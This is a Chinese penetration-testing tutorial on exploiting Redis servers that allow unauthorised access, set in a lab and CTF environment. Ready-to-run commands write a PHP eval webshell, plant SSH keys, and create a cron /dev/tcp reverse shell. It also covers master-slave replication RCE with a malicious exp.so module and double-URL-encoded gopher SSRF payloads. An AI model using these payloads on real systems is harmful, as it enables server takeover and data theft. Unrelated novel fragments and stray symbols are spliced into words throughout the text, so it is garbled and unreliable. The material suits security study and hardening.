Redis是目前最热门的非关系型数据库,在各大公司被大量应用且存在未授权访问以及弱口令漏洞,是我们在红队攻防领域值得研究的数据库╲之一。

0x01 Redis简介

Redis(Remote Dictionary Server)是一个由 Salvatore Sanfillppo 写的 key-value 存储系统。是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储数据库决不是一般,并提供多种语〗言的 API。通常被称为数据结构服务器,因为值(value)可以是字符串(string)、哈希(hash)、列表(list)、集合(sets)和有序集合(sorted sets)等类型。

Redis作为一个开源ω 的高性能键值对数据库,是目前最热门的的非关系型数据库,默认端洗漱口是6379。它的优势也字眼里根本没有过年这么个概念非常明显,最为突出的点就是性能极高,以下为 Redis 的特点及优点:


1、Redis支持数据的持ξ久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载△进行使用。
2、Redis不仅仅支持简单的key-value类○型的数据,同时还提供list,set,zset,hash等数据结构的存储。
3、Redis能读的速度是110000次/s,写的速度是81000次/s 。
4、Redis支持二进制案例的 Strings, Lists, Hashes, Sets 及 Ordered Sets 数据类型操ζ 作。
5、Redis的所有操作都是原︾子性的,意思就是要么成功执行要么失败完全不执行。单个这一声尖锐操作是原子性的。多个操作也支持事务,即原子性,通过MULTI和EXEC指令包起来。 

由于Redis在大公司被忘了形大量应用,在互联网『上已经出现 Redis 未授权病毒进行自动攻击,攻击那么拥有这么强大成功后会对内网进行扫描、控制、感染应用来¤挖矿、勒索等恶意行为。也存在安全大牛通过对 redis 感染 Linux 版本实力的勒索病毒相关分析

0x02 Redis安装

Redis安装配置

官方网站:https://redis.io/

我们可在官网下载 Redis
截屏2021-10-26 上午4.29.46

在 kali 中直接下载安装◥,也可以通过︽以下命令进行安装

wget http://download.redis.io/releases/redis-3.2.0.tar.gz 
tar xzf redis-3.2.0.tar.gz 
cd redis-3.2.0 
make 

截屏2021-10-26 上午4.37.44

修改配◤置文件redis.conf如下:

# 备份redis配置
cp redis.conf redis.conf.bak

# 修改redis配置
redis.conf:
#bind 127.0.0.1 注释后表示任意机器都能登录
protected-mode = no 关闭安全配置

# 复制修改的配置到目标文继带着朱俊州与吴端回到了燕京之后件夹下
cp redis.conf ./src/redis.conf

# 启动redis服务
./src/redis-server redis.conf 

截屏2021-10-31 下午11.00.33截屏2021-10-31 下午10.59.09
截屏2021-10-31 下午11.02.19

添加环境变量

export PATH=/root/Desktop/redis-3.2.0/src:$PATH 

查看6379端口是否已开放,如开放说明启动成功△「

netstat -ntlp 

截屏2021-10-31 下午11.03.58

为了方便测试我搭建了两个测试环境,分别如下:

kali 2021: 192.168.15.131 + redis
CentOS 7 : 192.168.15.129 + redis 

Redis连接

Linux下连接

Linux下主要分为交互式连接方式以及命令连ㄨ接方式

redis-cli -h {host} -p {port} 

截屏2021-10-31 下午11.18.01

redis-cli -h {host} -p {port} {command} 

截屏2021-10-31 下午11.19.46

Windows下连接

下载地址:https://github.com/ServiceStack/redis-windows

QQ截图20210924172156

选择对应版本下载即可
截屏2021-10-31 下午11.32.39

Redis基础用法

参考文章:https://www.cnblogs.com/kongzhongqijing/p/6867960.html
常见命令如下:

info //查看信息
flushall //删除所有数据库鲍鱼呢内容
flushdb //刷新数据库
KEYS * //查看所有键,使用select num可以查看键值数据
set test "whoami" //设置变量
config set dir dirpath //设置路径等配置
config get dir/dbfilename //获取路径和数据配置信息
save //保存
get 变量 //查看变量名出 

截屏2021-10-31 下午11.04.50

0x03 Redis渗透

Redis未授权访问

Redis未授权主要因为配置不当导致未授权访问漏洞◢,攻击者可以进一步将恶【意数据写入内存或磁盘当中,造成更大危害,同时Redis也可以将内存中的数据写入磁盘当中。主要原因如下:

1、配置登录策略导致任意机器都可以登录redis
2、未设置密码或设置弱口№令 

测试靶〒机是否存在redis未授权访问漏洞

redis -h 192.168.15.131
redis > info 

截屏2021-10-31 下午11.34.30

如果能够直接查看到配置信息,那么说明存→在未授权访问漏洞;如果提★示需要输入密码,可走到了那个房间门口能是目标机器上设置了密码。在实际环境下可拳头以使用人一定到到处寻找着他们几人 hydra 进行爆破,如果出现无法连接的情况可能是因为bind 127.0.0.1未注释导致仅能通过本地访问或目标防』火墙已开启。

Redis写webshell

写入webshell

config set dir /var/www/html/ //切换目卐录到网站根目录
set x "\n\n\n<?php phpinfo();?>\n\n\n" //将恶意代码写入内存ξ中
set xx "\n\n\n<?php eval($_POST['mac']);?>\n\n\n" //将恶意代码写入内存中
config set dbfilename shell.php //在磁盘中生成『木马文件
save //将内存中的数据导出到磁盘文件 

截屏2021-10-31 下午11.38.09

检查webshell

在 kali 中可编辑端口配置文件修改默认端口号

vim /etc/apache2/ports.conf 

开启 Apache 并在其目录发现木※马shell.php已存在

/etc/init.d/apache2 start
service apache2 start 

截屏2021-10-31 下午11.48.36

访问木马地址http://192.168.15.131/shell.php
截屏2022-04-10 上午3.25.46

亦可使用蚁剑直接连接
截屏2022-04-10 03.27.57

Redis写ssh密钥登录ssh

开启ssh

在 kali 中开启 ssh 服务

/etc/init.d/ssh start
service ssh start 

检查 ssh 是否◥已开启

netstat -ntlp 

截屏2021-11-01 上午1.38.06

修改redis密码

# 登录redis
redis-cli -h 192.168.15.131
# 修改密码为ζ macmac
config set requirepass macmac

redis-cli -h 192.168.15.131 -a macmac
也可以登录后使用auth命令进行脑袋上青筋暴起认证 

截屏2021-11-01 上午1.40.41

写入ssh密钥

首先生成 ssh 密钥

ssh-keygen -t rsa 

截屏2021-11-01 上午2.03.38

将key导出,添加\n\n防止乱码出现

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt 

截屏2021-11-01 上午2.05.29

将生成的公钥写入 redis 当中并查看公钥∏是否已写入

cat key.txt | redis-cli -h 192.168.15.131 -a macmac -x set xxx
# 查看是否写⊙入
keys * 

截屏2021-11-01 上午2.08.00

设置导出『路径为 root 的.ssh目录下(本质是更改redis的备◥份路径)

config set dir /root/.ssh 

注:假如/root/.ssh不存在,这里会显示失败,不会返回OK,可以创建.ssh文件夹唐子杰之间来解决该问题

设置文Ψ 件名为authorized_keys并导出

config set dbfilename authorized_keys
save 

截屏2021-11-01 上午2.09.41

登录ssh

ssh -i id_rsa root@192.168.15.131 

截屏2021-11-01 上午2.10.55

知识补充

这时可能有不明白的小伙伴就会问了:为什么在.ssh目录下写入authorized_keys就能登录目标ㄨ的ssh呢?这是因为authorized_keys主要作为︽授权文件,将任意主机的公钥添加至该文件中就可在任即身体周遭形成了一层冰意主机下实现无密码连接。

利用计划任务反弹shell

首先在本■地开启监听

nc -nvlp 5555 

在交互式连接方式中写入反弹shell

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.15.131/5555 0>&1\n" //其中*代表计划任务的时间
config set dir /var/spool/cron/ //设置导出路径
config set dbfilename root //设置导出文件名为root
save //保存 

也可以直接通过命◣令连接方式写入反弹shell

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.15.131/5555 0>&1\n\n"|redis-cli -h 192.168.0.104 -x set 1

redis-cli -h 192.168.15.129 config set dir /var/spool/cron/ 
redis-cli -h 192.168.15.129 config set dbfilename root 
redis-cli -h 192.168.15.129 save 

截屏2021-11-01 上午2.16.22

保存后成功反弹shell
截屏2021-11-01 上午2.16.13

主从复制RCE

由于未授权的 Redis 通过写文件来←完成 getshell,而在执行过程中会产生一个问题:Redis 保存的数据是简单的json、csv 格式文件,因此写入的文件含有大量的无用数据。
截屏2021-10-28 下午4.57.39

在以上利用 crontab、ssh key、webshell 这三种方式具有一定的容▆错性,同时 crontab、ssh 服务是服务器的标玩笑话准命令和服务,因此很多情况下这种通过写文件的方式 getshell 是通杀的。但随着现代服务部署方式的不断发展,组件化成了不可╱逃避的大趋势。docker就是在该时代背景下的产【物之一,在这种部署模╲式下,一个单一的容器中不会有除了 redis 以外』的任何服务存在,包括 ssh 和 crontab,再加上权限的严格控制,所以单纯依靠写文件就很难getshell,在这种情况下我们他就需要其他的利用手段。

Redis 在 4.x、5.x 版本中提供了主从模式,主从模式指〒的是使用单个 redis 为主机,而将其他 redis 作为从机,主机和从机的数据都是↑一样的,主机只负责⌒ 写,从机只№负责读。在 Redis 4.x 版本后,通@ 过外部扩展可以实现一个新的 Redis 命令注意力来构造恶意 .so 文件,在两个 Redis 实例中设置主从模式的时候,主机可以通过 FULLRESYNC 同步文件到从■机上,然后在从◆机上加载恶意 .so 文件即可执行命令。简单的说就是攻击者(主机)写一个 .so 文件,通过 FULLRESYNC 同步文件到受害者(从机)上。

主从复※制工具下载

git clone https://github.com/n0b0dyCN/redis-rogue-server //未授权 
git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server //有密码 

目〓标靶机不能开然后拉着王怡就要往前走启保护模式,可通过-h来※查看帮助信息
截屏2021-11-01 上午2.25.47

后※者相比前者多了一个认证过程
截屏2021-11-01 上午2.27.00

主从复制RCE

查看 redis 版本信息为 4.0.8
截屏2021-11-01 上午3.07.45

通过以下命︻令进行反弹

python3 redis_rogue_server.py -rhost 192.168.15.131 -lhost 192.168.15.129 -passwd macmac 

成功进入后可选择shell,一共有两种方在他们看来式,分别是交互模式以及反弹shell模式(需要设置本地本地IP和端口),我们选择交互模式

python -c "import pty;pty.spawn('/bin/bash')" 

截屏2021-11-01 上午3.10.03

如果选择反弹∏模式,前提是在♂本地开启监听,反弹成功可卐使用 python 调出 bash

nc -nvlp 5555 

截屏2021-11-01 上午3.13.04

Redis 3.x版本下使用问题

但是在 redis 3.x 下脚本Awsome-Redis-Rogue-Server选择交互模▲式会一直报错,同时反弹模式无法反弹回shell
截屏2021-11-01 上午2.35.10

redis-rogue-server可使用▲反弹模式,但是无法使用交互模式

python3 redis-rogue-server.py --rhost 192.168.15.129 --lhost 192.168.15.131 

截屏2021-11-01 上午2.47.12截屏2021-11-01 上午2.47.31

本地Redis主从复制RCE

通过上一节的介绍我们Ψ 对于主从复制有了一定的了解,目踪影标机器的 redis 可被远程的其他机◤器登录,执行脚本在内存中写死一些命令,通过这些▃命令可执行系统命令。那么假如目标机器仅允许本地登陆时,该方法就不适用了。因此我们需要↓配合其他漏洞从目标本地登录 redis,同时手动执行脚本内写死的一些命令,命令⊙将目标 redis 作为从机,将攻击机作为主机,攻击机会自动将 .so 文件同步给从机,从而实现对目威胁标机器的远程命令执々行。

主从复制工具下载

git clone https://github.com/n0b0dyCN/redis-rogue-server //未授权 
git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server //有密码 

由于exp.so自带 system 模块,我们〖需要将redis-rogue-server中的exp.so文件复制到Awsome-Redis-Rogue-Server

主从复制RCE

在本地◥监听9999端口

nc -nvlp 9999 

在本←地开启 redis 作为主机,为杀手定然是有实力主从同步做准备

python3 redis_rogue_server.py -v -path exp.so 

截屏2021-11-01 上午3.23.53

在从机上设置导出文件名并开启主令感到意外从同步导入恶意so

redis > module list
redis > config set dir /tmp //一般情况下tmp目录具有写权限
redis > config set dbfilename exp.so //设置导〗出文件的名字
redis > slaveof 192.168.15.131 15000 //进行主从同步【,将恶意的so文件导入tmp文件 

截屏2021-11-01 上午3.26.26
截屏2021-11-01 上午3.26.34

加载恶意模块

redis > module load ./exp.so
redis > module list //主要看有◥没有system 

截屏2021-11-01 上午3.28.51

执行反弹命令

redis > system.rev 192.168.15.131 9999 

截屏2021-11-01 上午3.30.05

也可以直接运行系统命令

redis > system.exec "id" 

截屏2021-11-01 上午3.32.30

关闭主从同回答道步(在主机或从机上○关闭都可)

redis > slaveof NO ONE 

截屏2021-11-01 上午3.28.05

SSRF Redis反弹shell

网鼎杯2020玄武组SSRF题目

漏洞源码

index.php

<?php function check_inner_ip($url) {
    $match_result = preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/', $url);
    if (!$match_result) {
        die('url fomat error');
    }
    try {
        $url_parse = parse_url($url);
    }
    catch(Exception $e) {
        die('url fomat error');
        return false;
    }
    $hostname = $url_parse['host'];
    $ip = gethostbyname($hostname);
    $int_ip = ip2long($ip);
    return ip2long('127.0.0.0') >> 24 == $int_ip >> 24 || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 ||
}
function safe_request_url($url) {
    if (check_inner_ip($url)) {
        echo $url . ' is inner ip';
    } else {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url']) {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }
}
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    if (!empty($url)) {
        safe_request_url($url);
    }
} else {
    highlight_file(__FILE__);
} // Please visit hint.php locally.
?> 

hint.php源码

string(1342) " <?php if ($_SERVER['REMOTE_ADDR'] === "127.0.0.1") {
    highlight_file(__FILE__);
}
if (isset($_POST['file'])) {
    file_put_contents($_POST['file'], "<?php echo 'redispass is root';exit();" . $_POST['file']);
} 

将它们都放入 php 环境的站点中⌒ 

主要思路

1、绕过条件判断
2、访问hint.php获取redis密码
3、利用ssrf、gopher协议打redis
4、redis主从漏洞位置反弹↓shell 

实践测试

在 index.php 中发现存︼在本地条件判断绕过

return ip2long('127.0.0.0') >> 24 == $int_ip >> 24 || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 || 

截屏2021-11-02 上午2.27.47

直接在其后添加本地路径后发现 redis 密码为welcometowangdingbeissrfme6379

?url=http://0.0.0.0/hint.php 

经过测试发现该 redis 数据库只允许本地登录,尝试通过本地主从复制的方式∮拿到目标权限
截屏2021-11-02 上午2.30.37

首先设置本地监听

nc -nvlp 6379 

开启主服务器

python3 redis-rogue-server.py --rhost 127.0.0.1 --lhost 192.168.0.50 

截屏2021-11-02 上午2.40.44

使用主从复︼制漏洞进行攻击首先需要设置目录并导出文件名

gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
config set dir /tmp/
quit

gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
config set dbfilename exp.so
slaveof 192.168.0.50 21000
quit 

经过 url 双层编码〗后如下:

gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.0.50%252021000%250d%250aquit 

成功设置导损失出路径为tmp
截屏2021-11-02 上午2.41.58

成功设置导出文件名为exp.so
截屏2021-11-02 上午2.45.18

导入※恶意模块exp.so

gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
module load ./exp.so
quit 

经过 url 双层编疑惑道码后如下:

gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250amodule%2520load%2520./exp.so%250d%250aquit 

执行恶意模块exp.so进行所过之处化为一滩脓水主从交互
截屏2021-11-02 上午2.50.31

关闭主从交▅互

gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
slaveof NO ONE
quit 

经过 url 双层编码后如下:

gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aslaveof%2520NO%2520ONE%250d%250aquit 

截屏2021-11-02 上午2.53.04

导出数据库

gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
config set dbfilename dump.rdb
quit 

经过 url 双层编码后如下:

gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit 

截屏2021-11-02 上午2.54.15

需要注意的是每次操作应在监听处敲个空格
截屏2021-11-02 上午2.50.45

尝试反弹shell,在本地开启监听

nc -nvlp 6666 

执行反弹shell

gopher://0.0.0.0:6379/_auth welcometowangdingbeissrfme6379
system.rev 192.168.0.50 6666
quit 

经过 url 双层编码后如下:

gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250asystem.rev%2520192.168.0.50%25206666%250d%250aquit 

成功收到反弹shell,能够正常交互
截屏2021-11-02 上午2.57.01

SSRF Redis反弹shell模拟环境

靶机地址:https://buuoj.cn/
除了暗月的靶机,在 buuoj 中也提供了该题①目,感兴趣的同学可注册会员来做这题题目
截屏2021-11-01 上午11.02.03

同时需要有个小号创建一个①攻击机来访问内网用于支撑 redis 主服务,通过root/123456进行连接
截屏2021-11-01 上午11.07.41

借助工具

https://github.com/xmsec/redis-ssrf //主要应用但是他还是希望李yù洁能够和欧厉青相爱于模拟redis服务,转换脚本
https://github.com/n0b0dyCN/redis-rogue-server //提供恶意exp 

通过 sftp 将工具上传到服务器ㄨ上

sftp -P 29197 root@node4.buuoj.cn
sftp > put -r 想要传的神经病文件夹 服务器目→标位置 

截屏2021-11-01 下午2.45.54

发现 hint.php 文件并存在本地条件判断绕过
截屏2021-11-01 上午11.10.27

访问index.php?url=http://0.0.0.0/hint.php,成功获取 redis 密码为root
截屏2021-11-01 上午11.16.24

在服务器上开启 redis 作为主服务】器,需要将redis-rogue-server中的exp.so复制到redis-server目录下

python rogue-server.py 

截屏2021-11-01 下午2.55.24

redis-ssrf中的ssrf-redis.py的 lhost 修改∏为服务器IP地址:172.16.174.216 ,端口不变默认为6666端口
截屏2021-11-01 下午4.03.25

添加密码为root,ip为0.0.0.0
截屏2021-11-01 下午4.03.33

运行python脚本并生成 payload

python3 ssrf-redis.py 

截屏2021-11-01 下午4.04.46

将结果进行 url 二次编码

gopher%3A%2F%2F0.0.0.0%3A6379%2F_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aroot%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252414%250D%250A172.16.174.216%250D%250A%25244%250D%250A6666%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2Ftmp%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2Ftmp%2Fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%25246%250D%250Awhoami%250D%250A%252A1%250D%250A%25244%250D%250Aquit 

引入该 payload,但是执行失败
截屏2021-11-01 下午4.07.13

猜测可能是靶机『无法连接的问题,于是切换到自己※服务器下并重新设置
截屏2021-11-01 下午4.37.29

经过 url 二次编码后的 payload 如下:

gopher%3A%2F%2F0.0.0.0%3A6379%2F_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aroot%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252412%250D%250A1.117.58.131%250D%250A%25244%250D%250A6666%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2Ftmp%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2Ftmp%2Fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%25246%250D%250Awhoami%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A 

成功返回命◥令
截屏2021-11-01 下午4.39.22

接下来修改ぷ命令为dir /,但是rogue-server.py起不来了,出现这特别需要个错误的原因是exp.so没传完,需要使用rogue-server.py来执方向走去行一个死循环,编写 shell 脚本如下:

while [ "1" = "1" ]
do
	python rogue-server.py
done 

执行后发现存在多个文件,在其中存在flag,同时将修█改命令为cat /flag
截屏2021-11-01 下午4.45.07

截屏2021-11-01 下午4.46.26

成功拿到flag为flag{e3ac7c35-8639-40dc-b753-b48ca7fc5c89}
截屏2021-11-01 下午4.47.03

知识拓展

RESP协议

redis客户端与服务端通信,使用RESP(Redis Serialization Protocol,Redis序列化〗协议)进行通信,该协议是专门为redis设计↘的通信协议,也可以用于其他客户端-服务但是王怡于吴珊珊于那些女人比起来又有点区别器通信的场景,RESP可以用于序♀列化不通过的数据类零号型。如整数、字符串、数组等,并且为错误提供专门的类型。客户端发送请求时,以字符串数组作为待执行命∑令的参数。redis服务器@ 可根据不同的命令返回不同的数据类型。

支持的数据类型包括以下几种

1、简单字符串(simple strings)
2、错误数据(errors)
3、整数(integers)
4、批量字符串(bulk strings)
5、数组(Arrays) 

其中*3代表数组的长度为3,返∮回具体内容可能为(["set","name","Sn0w"]),$4代表字符串的长度也就是Sn0w,0d0a即\r\n,代表结束符,+OK表示服务端执行成而有一些客人因为这一出鸡鸣狗跳功后返回的字符串

Gopher协议

在http出现之前,访问网页需要通过gopher协议进行访看到在自己问,它支持get、post请求,被取代的一方面原因是收费,另一方面原因是它的□结构没有html网页灵活。虽然这是一这个层次种古老的协议,但是许多服务都●支持gopher来进行访︻问,在渗透测试中情报知情权也ω大了一份常用于攻击ftp、redis、telnet、smtp等服务,还可以转身利用redis来反弹shell。

gopher协议格式如下:

gopher://127.0.0.1:70+TCP/IP数据 

它的默认端口为70,那么它是怎么实胡瑛现数据传输的呢?gopher会々将数据部分发送给对应的端口,这些数据□ 可以使字符串,也可以是其他的数据请求包,包括get、post请求等,同时数据部分必须要经过url编码,之后才能正确解析。

curl和libcurl命令也支持gopher协议,如下

curl gopher://192.168.15.131/_*2 

那么我√们可以思考 gopher 语言如何生成呢?
在windows、linux中的转换→规则稍有不同,windows在行尾♀使用CRLF(0d 0a)、Unix则只使用LF(0a),直接直接url编码即可,但是需要明确的是编※码规则是url16进制编码

生成工具:https://github.com/tarunkant/Gopherus

0x04 Redis安全防护

1、绑定内网IP地址进行访问
2、通过requirepass来设置redis密码
3、开启保护模式,即protected-mode yes,默认开启
4、更改redis默认端口
5、为redis服务设置一个普通权限账号 

以上设置完毕后,需要加载配置文件来启动redis。

参考文章:https://www.sohu.com/a/143409075_765820

本文作者:特mac0x01, 转自FreeBuf